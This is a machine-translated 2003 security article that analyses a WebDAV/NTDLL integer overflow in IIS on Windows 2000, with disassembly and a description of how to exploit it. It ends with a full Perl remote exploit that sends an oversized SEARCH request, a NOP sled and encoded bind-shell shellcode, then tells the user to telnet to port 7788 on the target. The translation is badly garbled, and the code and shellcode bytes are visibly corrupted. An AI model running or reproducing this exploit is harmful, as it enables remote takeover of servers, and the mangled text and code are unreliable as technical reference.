WebDAV remote overflow vulnerability analysis
Create time: 2003-03-27
Article attribute: original
Article Source:
http://www.xfocus.net
Article submission:
ISNO (isno_at_sina.com)
WebDAV remote overflow vulnerability analysis
By isno@xfocus.org
First, vulnerability analysis
This vulnerability may be that there is a cow in the past year, but it has not been announced until the recent microsoft has a security announcement, you know that there is such a vulnerability. Although WebDAV uses this vulnerability through IIS, the vulnerability itself is not generated by IIS, but an API function in NTDLL.DLL. It is to say that many applications that call this API exist this vulnerability. The reference relationship between the entire vulnerability is like this:
Iis-> Webdav-> kernel32! GetfileAttributesexw-> ntdll! RTLDOSPATHNAMETONTPATHNAME_U (overflow)
Where getFileAttributeSexw is a very common, API function used to get file properties, and its first parameter is the file name. And then call the RTLDOSPATHNAMETONTPATHNAME_U function in NTDLL.DLL to process this file name. If you give a long file name, it will cause overflow in the RTLDOSPATHNAMETONTPATHNAME_U function.
This overflow is essentially a short-intensive overflow, which will result in stack overflow. A lot of vulnerabilities recently occurring are caused by integer overflow, which is worth studying.
When we send IIS as follows, it will trigger overflow:
Search / [Buffer (> 65513 BYTES)] HTTP / 1.0
Among them, IIS passed the path of the buffer, and then transmitted to getFileAttributesexw as the file name parameter, then GetFileAttributeSexw passed this long string as a parameter to RTLDOSPATHNAMETONTPATHNAME_U, and then overflow.
Let's take a look at how overflow happened:
.Text: 77f8Affc public RTLDOSPATHNAMETONTPATHNAME_U
.Text: 77f8AFFC RTLDOSPATHNAMETONTPATHNAME_U PROC NEAR; CODE XREF: SUB_77F87F5C 15P
.Text: 77f8Affc; .text: 77f8d9f8p ...
.TEXT: 77F8AFFC PUSH EBP
.TEXT: 77F8AFFD MOV EBP, ESP
.TEXT: 77F8AFFF PUSH 0FFFFFFFH
.TEXT: 77F8B001 PUSH OFFSET DWORD_77F8B1E8
.TEXT: 77F8B006 PUSH OFFSET SUB_77F82B95
.Text: 77f8b00b Mov Eax, Large Fs: 0
.TEXT: 77F8B011 PUSH EAX
.TEXT: 77F8B012 MOV LARGE FS: 0, ESP; Establish an exception chain
.TEXT: 77F8B019 PUSH ECX
.TEXT: 77F8B01A PUSH ECX
.TEXT: 77F8B01B SUB ESP, 26CH
.TEXT: 77F8B021 PUSH EBX
.TEXT: 77F8B022 PUSH ESI
.TEXT: 77F8B023 Push EDI
.TEXT: 77F8B024 MOV [EBP VAR_18], ESP
.TEXT: 77F8B027 XOR EBX, EBX
.TEXT: 77F8B029 MOV [EBP VAR_58], EBX
.TEXT: 77F8B02C MOV [EBP VAR_3C], EBX
.TEXT: 77F8B02F MOV EDI, 20AH
.Text: 77f8b034 MOV ESI, EDI
.TEXT: 77F8B036 Push [EBP Arg_0]; Path Unicode String
.Text: 77f8b039 Lea Eax, [EBP VAR_30]; Unicode_String Structure Pointer
.Text: 77f8b03c push eax
.text: 77f8b03d call rtlinitunicodeString
Call the RTLINITUNICODESTRING function to initialize the Unicode_String structure, the Unicode_String structure is as follows:
Typedef struct _unicate_string {
Ushort length; // unicode string length, short integer, maximum can be 0xffff, 65535
Ushort maximumlength; // unicode string can store maximum length, short integer, maximum can be 0xfff, 65535
Pwstr buffer; // store the address of the Unicode string
} Unicode_string * punicode_string;
RTLINITUNICODESTRING's role is actually putting the path string to the buffer and calculates its length, placed in Length. There is a short-intensive spill here, if the length of the path string exceeds 65535, since Length is a short integer number, it will not be accommodated, it will overflow, for example, when the path length is 65536, then Length is 0, and actual Length does not wait. The ordinary stack overflow is caused when you use Length.
.TEXT: 77F8B05A LEA EAX, [EBP VAR_270]
.TEXT: 77F8B060 MOV [EBP VAR_3C], EAX
RTLDOSPATHNAMETONTPATHNAME_U functions in the function stack, the distance from the bottom of the function stack is 0x270 bytes, and will be incorporated into the SUB_77F8AC33 as a parameter
.Text: 77f8b0a0 Lea Eax, [EBP VAR_274]
.text: 77f8b0a6 push eax
.Text: 77f8b0a7 Lea Eax, [EBP VAR_38] .TEXT: 77F8B0AA PUSH EAX
.TEXT: 77F8B0AB PUSH [EBP ARG_8]
.TEXT: 77F8B0AE PUSH [EBP VAR_3C]; The front tap address [EBP VAR_270]
.TEXT: 77F8B0B1 MOV EDI, 208H
.TEXT: 77F8B0B6 PUSH EDI; Length Limit, 0x208
.TEXT: 77F8B0B7 LEA EAX, [EBP VAR_30]; Isolated Unicode_String Structure Pointer
.Text: 77f8b0ba push eax
.TEXT: 77F8B0BB CALL SUB_77F8AC33; Call SUB_77F8AC33
.TEXT: 77F8AC33 SUB_77F8AC33 PROC NEAR; Code Xref: RTLGETFULLPATHNAME_U 24P
.Text: 77f8ac33; RTLDOSPATHNAMETONTPATHNAME_U BFP ...
......
.TEXT: 77F8AD96 MOV DX, [EBP VAR_30]
.Text: 77f8ad9a Movzx ESI, DX
.Text: 77f8ad9d MOV EAX, [EBP VAR_28]
.Text: 77f8ada0 Lea ECX, [EAX ESI]; ECX is the unicode_string structure of Length
.TEXT: 77F8ADA3 MOV [EBP VAR_5C], ECX
.TEXT: 77F8ADA6 CMP ECX, [EBP ARG_4]; length limit comparison, Length is compared with arg_4 parameters (ie 0x208)
.Text: 77f8ada9 jnb Loc_77f8e771; If the length of the Unicode string is greater than 0x208, jump to the error handling
Here is a length restricted, that is, the length of the Unicode string cannot exceed 0x208 bytes, otherwise it is considered to be long, not a string copy. However, due to the short-intensity of Length overflow, it is much smaller than the actual length of the Unicode string, so that the length limits have failed, resulting in the latter overflow.
After completing the length limit, copy the contents of the buffer in the unicode_string structure to [ARG_8 Offset] (OFFSET is small), which is the front tap address [EBP VAR_270].
.TEXT: 77F8AE1B MOVZX ECX, [EBP VAR_4C]
.Text: 77f8ae1f add ECX, [EBP ARG_8]; ECX is the front tap address [EBP VAR_270] ......
Next is some string COPY operation, copy the contents of the buffer in the unicode_string structure to [arg_8 offset].
.Text: 77f8ae63 MOV [ECX], DX
.Text: 77f8ae66 Add ECX, EBX
When the string copy is overflow, the return address of the RTLDOSPATHNAMETPATHNAME_U function, and all the established exception chains are overwritten. Generally we overwrite the address we can control, it will jump to the execution of our shellcode when it triggers an exception.
This is like this, and of course there are some complicated processing, and will not be described again.
Second, vulnerability utilization
After Microsoft's announcement, I will reproduce this vulnerability, but because I don't do these things for a long time, even the Softice command must remember. Go to the Exploit program to write this, I found that the Unicode conversion is very annoying, and now there is no very common way to use. Later, I went until the foreigner announced his EXPLOIT program. I found that the original Chinese version and English version of Windows 2000 Unicode conversion is different. It is much more troublesome to Chinese version of Win2000's Exploit. The Exploit program written like the foreigner. Chinese version of WIN2000.
When we pass "Search / [Buffer] HTTP / 1.0 to IIS, advance to a series of processes to resolve the buffer, then convert the buffer to the unicode form. The Chinese version and the English version of Win2000 will be different, which may be converted for CodePage. The English version may be using cp_acp. The Chinese version may use CP_UTF *, how specifically, I didn't figure it out. In short, the result of the conversion should be different in Chinese and English.
This causes the Chinese version of unhareves, because in the English version, you can directly put some instructions or return addresses in the buffer, and will not change after converting into unicode. But the Chinese version has a lot of bytes after the conversion, resulting in unavailable. According to the previous IDA / IDQ overflow, it can be converted with the Unicode translation, which can be encoded with the method of% U, so that some bytes do not conversion. Although the overflow of WebDAV can also be used to control the conversion with% u coding, but actually debugging discovers that some of the non-specific bytes are still changed. It is estimated that the byte of% U-coded first MultibyToWideChar conversion first, and then use WideChartomultibyte to turn back. So characters that do not meet the Unicode coding specification are still changed.
The most difficult problem is that the range of returning addresses we have covered will be greatly reduced, and only those characters that meet Unicode codes are used, otherwise they will be converted. Visual characters (0x20 ~ 0x7f) are of course possible, but use these characters to construct executable instructions, it is more difficult, so you cannot use the address of the JMP EBX to return to the address, otherwise even if it returns It is also difficult to use a paragraph command to go to Shellcode in Buffer. There is no such problem, but now the release of Exploit uses% u coded and JMP EBX addresses, but uses the stack address to return the address, which causes these Exploit to deal with the English version of the success rate is not high.
Due to the Chinese version of Win2000 troubles, because there is not allowed to meet Unicode encoded characters in Buffer, it is better to use the shellcode address in the stack. This will need to put as much as possible before shellcode, occupy a relatively large memory space, so that it is returned to NOP. The place where the maximum amount of data is allowed to store the maximum amount of data in the HTTP protocol, so shellcode is placed here. The whole http request is constructed such: search /[ret]...[ret][aaa "aaa][qq] http / 1.0
Host: ISNO
Content-Type: Text / XML
Content-Length: [NOP and SHELLCODE total length]
[NOPNOPNOP ... NOPNOP] [shellcode]
Because the length of AAAA ... AAAA is relatively long, there is no way to perform shellcode, so put a jump instruction behind the AAAA, because in the stack, NOP and shellcode are the back arrangement of AAAA (But don't stay close to, there are some useless characters in the middle), so if you return to the AAAA, you have been executed all the time INC ECX command (0x41), and then jump to the NOP. Because the general JMP instruction (0xEB) is not used in this inside, the general JMP instruction (0xeb) is not used, and we use a JNO XXXX (0x71) instruction to jump backward. So we put two Q (0x71) on the rear of AAAA as a jump instruction, so that even if it returns to the AAAA, it can guarantee the last jump to the back shellcode execution.
For details, please refer to the apartment.
I have been tested in several Chinese version Win2000 SP2 and SP3, but there are some machines that cannot be successful, and they need to adjust the return address. So the versatility of this program is still not very good. In addition, there is a problem with two bytes aligned on the machine, so the return address used is the same as the first two bytes and the latter bytes, such as 0x00d700d7.
By the way, I found that Perl is really good, especially for constructing a string very convenient.
Third, summary
This is a typical integer overflow caused by stack overflows, and the ASP overflow has been similar, but the ASP overflow is an integer overflow leads to a pile over. Another feature of this vulnerability is that it is overflow after Unicode conversion, which greatly increases the difficulty of utilization.
Since the level is extremely limited, add no more careful analysis, the understanding of some processing processes may be incorrect, and the analysis of the vulnerability must definitely haul, maybe IIS has some special conversion processing processes, I have not found it, maybe It will lead to this vulnerability to have a very easy way to use. The purpose of writing this article is that the brick is pushed, let the people will announce the good Exploit method, let the younger brother, I also learn.
With WebDAV remote overflow procedures:
-------------------------------------------------- --------------------
#! / usr / bin / perl
# 65514 by isno@xfocus.org
#Tested on Win2k SP3 Chinese Version
Use IO :: Socket;
IF ($ # argv <0) {DIE "WebDavx.pl IP / R / N";}
$ Host = @argv [0];
$ port = 80;
$ RET = "% U00D7% U00D7" x 500;
$ BUF = "a" x 64502; $ jmp = "bbbbbbbbbqq"; # qq = "/ x71 / x71" means jn xxxx
$ NOP = "/ x90" x 40000;
$ SC =
"/ X90 / XEB / X03 / X5D / XEB / X05 / XE8 / XF8 / XFF / XFF / XFF / X83 / XC5 / X15 / X90 / X90".
"/ x90 / x03 / x 50 / x80 / x30 / x97 / x40 / x - x30 / xfa".
"/ x7e / x8e / x 95 / x97 / x97 / xcd / x1c / x4d / x14 / x7c / x90 / xfd / x68 / xc4 / xf3 / x36".
"/ x97 / x 97 / x97 / x97 / xc7 / x97 / x97 / x97 / x97 / x4c / x2c / x97".
"/ x97 / x16 / x6c / x97 / x16 / x6c / x97 / x97 / x68 / x28 / x98 / x14".
"/ x59 / x 96 / x 97 / x 97 / x16 / x54 / x 97 / x 97 / x96 / x 97 / xf1 / x16 / xac / xda / xcd / xe2".
"/ x70 / xa4 / x57 / x1c / xd4 / xab / x94 / x54 / xd2 / x-xaf / xc7 / xd2 / xe2 / x4e / x14".
"/ x57 / x64 / x1c / xd9 / x9b / x94 / x5c / x16 / xae / xdc / xd2 / xc5".
"/ XD9 / XE2 / X52 / X16 / XEE / XD2 / XDB / XA4 / Xa5 / XE2 / X2B / XA4 / X68 / X1C / XD1".
"/ xb7 / x94 / x54 / x1c / x5c / x94 / x9f / x16 / xae / xd0 / xf2 / xe3 / xc7 / xe2 / x9e / x16".
"/ x91 / xd0 / x14 / x57 / x93 / x7c / x72 / x94 / x68".
"/ x94 / x6c / x1c / xc1 / xb3 / x94 / x6d / xa4 / x45 / xf1 / x1c / x80 / x1c / x6d / x1c / xd1".
"/ x87 / xdf / x94 / x6f / xa4 / x5e / x1c / x58 / x94 / x5e / x94 / x5e / x94 / xd9 / x8b / x94".
"/ x5c / x1c / xae / x94 / x6c / x7e / xfe / x96 / x97 / x97 / xc9 / x10 / x60 / x1c / x40 / xa4".
"/ x57 / x60 / x47 / x1c / x5f / x65 / x38 / x1e / xa5 / x1a / xd5 / x9f / xc5 / xc7 / xc4 / x68".
"/ x85 / xcd / x1e / xd5 / x93 / x1a / xe5 / x82 / xc5 / xc1 / x68 / xc5 / x93 / xcd / xa4 / x57".
"/ x3b / x13 / x57 / xee2 / x6e / x5 / x5e / x1 / x99 / x13 / x5e / xe3 / x9e / xc5 / xc1 / xc4".
"/ x68 / x85 / xcd / x3c / x75 / x7f / xd1 / xc5 / xc1 / x68 / xc5 / x93 / xcd / x1c / x4f / xa4".
"/ x57 / x3b / x13 / x57 / x5E / x1d / x99 / x17 / x6e / x95 / xe3 / x9e / xc5".
"/ xc1 / xc4 / x68 / x85 / xcd / x3c / x75 / x70 / xa4 / x57 / xc7 / xd7 / xc7 / xd7 / xc7 / x68".
"/XC0/X7F/X04/xfd/x87/xc1/x7b/xfd/x95/XC4/X68/XC0/X67"""/xa4/x57/xc0/xc7/x27/x9b/x3c / XCF / X3C / XD7 / X3C / XC8 / XDF / XC7 / XC0 / XC1 ".
"/ x57 / xdf / xc7 / xc0 / x3a / xc1 / x3a / xc1 / x68 / xc0 / x57 / xdf".
"/ x27 / xd3 / x1e / x90 / xc0 / x68 / xc0 / x53 / xa4 / x57 / x1c / xd1 / x63 / x1e / xd0 / xab".
"/ x1e / xd0 / xd7 / x1c / x91 / x1e / xd0 / xaf / xa4 / x57 / xf1 / x2f / x96 / x96 / x1e / xd0".
"/ xbb / xc7 / xc7 / xc7 / xd7 / xc7 / xdf / xc7 / xc7 / x3a / xc1 / xa4".
"/ x57 / xc7 / x68 / xc0 / x5f / x68 / xc0 / x5b / x68 / xc1 / x6b / x68 / xc0".
"/ X5B / XDF / XC7 / XC7 / XC4 / X68 / XC0 / X63 / X1C / X4F / XA4 / X57 / X23 / X93 / XC7 / X56".
"/ x7f / x 93 / xc7 / x68 / xc0 / x43 / x1c / x67 / x57 / x1c / x5f / x22 / x93 / xc7 / xc7".
"/ XC0 / XC6 / XC1 / X68 / XE0 / X3F / X68 / XC0 / X47 / X14 / Xa8 / X96 / XEB / XB5 / XA4 / X57".
"/ xc7 / xc0 / x68 / xa0 / xc1 / x68 / Xe0 / x3f / x68 / xc0 / x4b / x9c / x57 / xe3 / xb8 / xa4".
"/ x57 / xc7 / x68 / xa0 / xc1 / xc4 / x68 / xc0 / x6f / xfd / xc7 / x68 / xc0 / x77 / x7c / x5f".
"/ XA4 / X57 / XC7 / X23 / XC4 / X68 / XC0 / X6B / XC0 / XA4 / X5E / XC6 / XC7".
"/ xC1 / x68 / xc0 / x3b / x68 / xc0 / x4f / xcd / xc7 / x68 / xc0 / x77 / x7c / x3d / xc7 / x68".
"/ xc0 / x73 / x7c / x69 / xcf / xc7 / x1e / xd5 / x65 / x54 / x1c / xd3 / xb3 / x9b / x92 / x2f".
"/ x97 / x97 / x97 / x50 / x97 / x75".
"/ x6a / x68 / x68 / x7f / x05 / x69 / x68 / x68 / xdc / xc1 / x70 / x - xb4 / x17 / x70 / XE0".
"/ xdb / xf8 / xf6 / xf3 / xdb / xfe / xf5 / xe5 / xf6 / xe5 / xee / xd6 / x97 / xdc / xd2 / xc5".
"/ XD9 / XD2 / XDB / Xa4 / Xa5 / X97 / XD4 / XE5 / XF2 / XF6 / XE3 / XF2 / XC7 / XFE / XE7 / XF2".
"/ x97 / xd0 / xf2 / xe3 / xc4 / xe3 / xf6 / xe5 / xe3 / xe2 / xe7 / xde / xf9 / xf1 / xf8 / xd6".
"/ x97 / xd4 / xe5 / xf2 / xf6 / xe3 / xf2 / xc7 / xe5 / xf8 / xf4 / xf2 / xe4 / xe4 / xd6 / x97".
"/ xd4 / xdf / xf8 / xe4 / xf2 / xdf / xf6 / xf9 / xf3 / xfb / xf2 / x97 / xc7 / xf2 / xf2 / xfc".
"/XD9/xf6/xfa/xf2/xf3/xc7/xfe/xe7/xf2/x97/xd0/xfb/xf8/xf5/xf6/xfb"."/xd6/xfb/xfb/xf8/xf4/x97/xc0 / XE5 / XFE / XE3 / XF2 / XD1 / XFE / XFB / XF2 / X97 ".
"/ xc5 / xf2 / xf6 / xf3 / xd1 / xfE / xfb / xf2 / x97 / xc4 / xfb / xf2 / xf2 / xe7 / x97 / xd2".
"/ XEF / XFE / XE3 / XC7 / XE5 / XE4 / X97 / X97 / XC0 / XC4 / XD8 / XD4".
"/ xdc / xa4 / xa5 / x97 / xe4 / xf8 / xf4 / xfc / xf2 / xe3 / x97 / xf5 / xfe / xf9 / xf3 / x97".
"/ xfb / xfe / x97 / xf6 / xf4 / xf4 / xf2 / xe7 / xe3 / x97 / xe4 / xf2".
"/ x97 / x95 / x97 / x89 / x95 / x97 / x89 / x97 / x97 / x97 / x97".
"/ x97 / x 97 / x 97 / x97 / x97 / x 97/ xfa / xf3 / xb9 / xf2 / xef / xf2 / x97".
"/ x68 / x68 / x68 / x68";
$ socket = IO :: Socket :: inet-> new (peeraddr => $ host, peerport => $ port, proto => "tcp", type => sock_stream) or die "COULDN'T: @! / N "
Print $ Socket "Search / $ RET $ BUF $ JMP HTTP / 1.0 / R / N";
Print $ Socket "Host: ISNO / R / N";
Print $ socket "Content-Type: Text / XML / R / N";
Print $ Socket "Content-Length: 40804 / R / N / R / N";
Print $ Socket "$ NOP $ SC / R / N";
Print "Send Buffer ... / R / N";
Print "Telnet Target 7788 / R / N";
CLOSE ($ socket);
-------------------------------------------------- --------------------